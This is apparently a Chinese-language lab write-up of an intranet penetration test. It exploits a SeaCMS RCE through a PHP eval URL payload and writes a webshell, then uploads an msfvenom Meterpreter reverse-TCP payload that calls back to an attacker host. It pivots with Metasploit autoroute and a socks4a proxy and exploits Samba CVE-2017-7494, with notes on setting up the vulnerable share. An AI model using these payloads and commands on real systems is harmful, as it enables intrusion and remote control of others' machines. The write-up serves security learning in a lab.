1、搭建環境:
內網中有一台win server2008服務器、一台linux主機,一台windows或linux主機
這里主要的目標是獲得PC1的shell
2、信息搜集
nmap掃一下該服務器:
先訪問一下80端口,發現有一個網站頁面
先用nikto掃一下該網站:發現了網站的架構,還有一些網站的路徑,沒有很有用的信息
翻看一下該網站頁面,發現是海洋cms,但不知道具體版本,網上搜一下有沒有相關漏洞,發現有一個seacms9.92的RCE
具體代碼審計百度。
3、漏洞應用
1)得到服務器的shell
1)先上傳一個一句話木馬,生成mysql錯誤記錄在mysql_error_trace.php里
http://127.0.0.1/comment/api/index.php?gid=1&page=2&rlist[]=*hex/@eval($_GET[_]);?%3E
2)然后訪問該頁面,並驗證poc
http://127.0.0.1/data/mysqli_error_trace.php?_=phpinfo();
發現可以執行命令
3)然后再寫入一個一句話webshell頁面,用蟻劍連接
http://localhost/CMS/data/mysqli_error_trace.php?_=system(%27echo%20^%3C?php%20@eval($_POST[123]);%20?^%3E%20%3Eshell.php%27);
原理:剛好在mysql_error_trace.php里構成一句話木馬
寫入一個shell.php,然后蟻劍連接(這里服務器角色直接是管理員。。)
2)得到meterpreter shell
為了后續滲透工作,上傳一個meterpreter木馬(免殺暫時未做)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.1.2 LPORT=4444 -f exe -o seacms.exe
上傳后,配置msf監聽,並在服務器上運行meterpreter木馬,彈回一個shell
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.1.2
set LPORT 4444
exploit
木馬傳成功,先msf監聽,然后用蟻劍里運行傳上去的木馬:
3)內網滲透
查找本地網段:run get_local_subnets
使用msf的輔助模塊掃描存活主機
run autoroute -s 192.168.1.0/24
run autoroute -p
run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24
nmap掃描(使用metasploit的socks4代理模塊)
msf > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- -----------
Proxy
msf auxiliary(socks4a) > set srvhost 10.0.1.2
srvhost => 10.0.1.2
msf auxiliary(socks4a) > set srvport 8888
srvport => 10.0.1.2
msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) > netstat -antp | grep 8888
[*] exec: netstat -antp | grep 8888
tcp 0 10.0.1.2:8888 0.0.0.0:* LISTEN 3626/ruby
msf auxiliary(socks4a) >
用文本編輯器打開/etc/proxychains.conf,在文件的最后一行添加新創建的socks4代理服務器
--- snippet ---
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 10.0.1.2 8888
proxychains nmap -sT -sV -Pn 192.168.1.5
發現第二個linux目標的139、445端口是打開的(這里利用的是samba的cve-2017-7494)
前面已經添加了到目標網段的路由,所以直接使用msf里的攻擊模塊
search cve-2017-7494
use exploit/linux/samba/is_known_pipename
show options
set rhost 192.168.1.5
exploit
得到的是unix/shell,嘗試使用shell_to_meterpreter升級為meterpreter shell,發現不能成功。應該是跟這個exploit有關
use post/multi/manage/shell_to_meterpreter
set session sid
run
未完待續....
附錄
1、配置cve-2017-7494漏洞環境
影響版本:
Samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中間的所有版本。
查看samba版本:samba --version
首先,我們創建一個共享目錄,並且賦予寫權限,為了簡便直接賦予全部權限:
mkdir /home/share
chmod 777 /home/share
然后修改配置文件/etc/samba/smb.conf, 可在配置文件最后添加如下內容:
[myshare]
comment=smb share test
browseable=yes #可讀
writeable=yes #可寫
path=/home/share #設置目錄(上一步創建的共享目錄)
public = yes #允許匿名登錄
samba服務啟停:
/etc/init.d/smbd start #開啟
/etc/init.d/smbd stop #關閉
/etc/init.d/smbd restart #重啟
或:
service smbd start
service smbd stop
service smbd restart
https://www.freebuf.com/articles/network/125278.html)
參考:
https://zhuanlan.zhihu.com/p/35321152
https://www.cnblogs.com/Hi-blog/p/7782356.html
2、Metasploit中將shell升級為metepreter shell
use post/multi/manage/shell_to_meterpreter
set session sid
run
也可以使用sessions -u sessionsID 直接升級
3、一些其他基礎操作
1)在meterpreter shell中查看靶機所在網段:run get_local_subnets
2)添加路由,使攻擊機能通過跳板機訪問內網(下面的命令在meterpreter shell里使用)
run autoroute -s 192.168.1.0/24
3)arp_scanner掃描存活主機
run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
portscan
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
4)當添加路由后可以使用msf的一些輔助模塊進行一些掃描,但可能不准確或全面,所以可以使用sock4a代理,使用nmap掃描
msf> use auxiliary/server/socks4a
msf> set srvhost 127.0.0.1
msf> set srvport 1080
msf> run
然后修改本機的proxychains配置:vi /etc/proxychains.conf
在文末添加:socks4 127.0.0.1 1080
然后就可以使用:proxychains namp -sV -Pn 192.168.1.5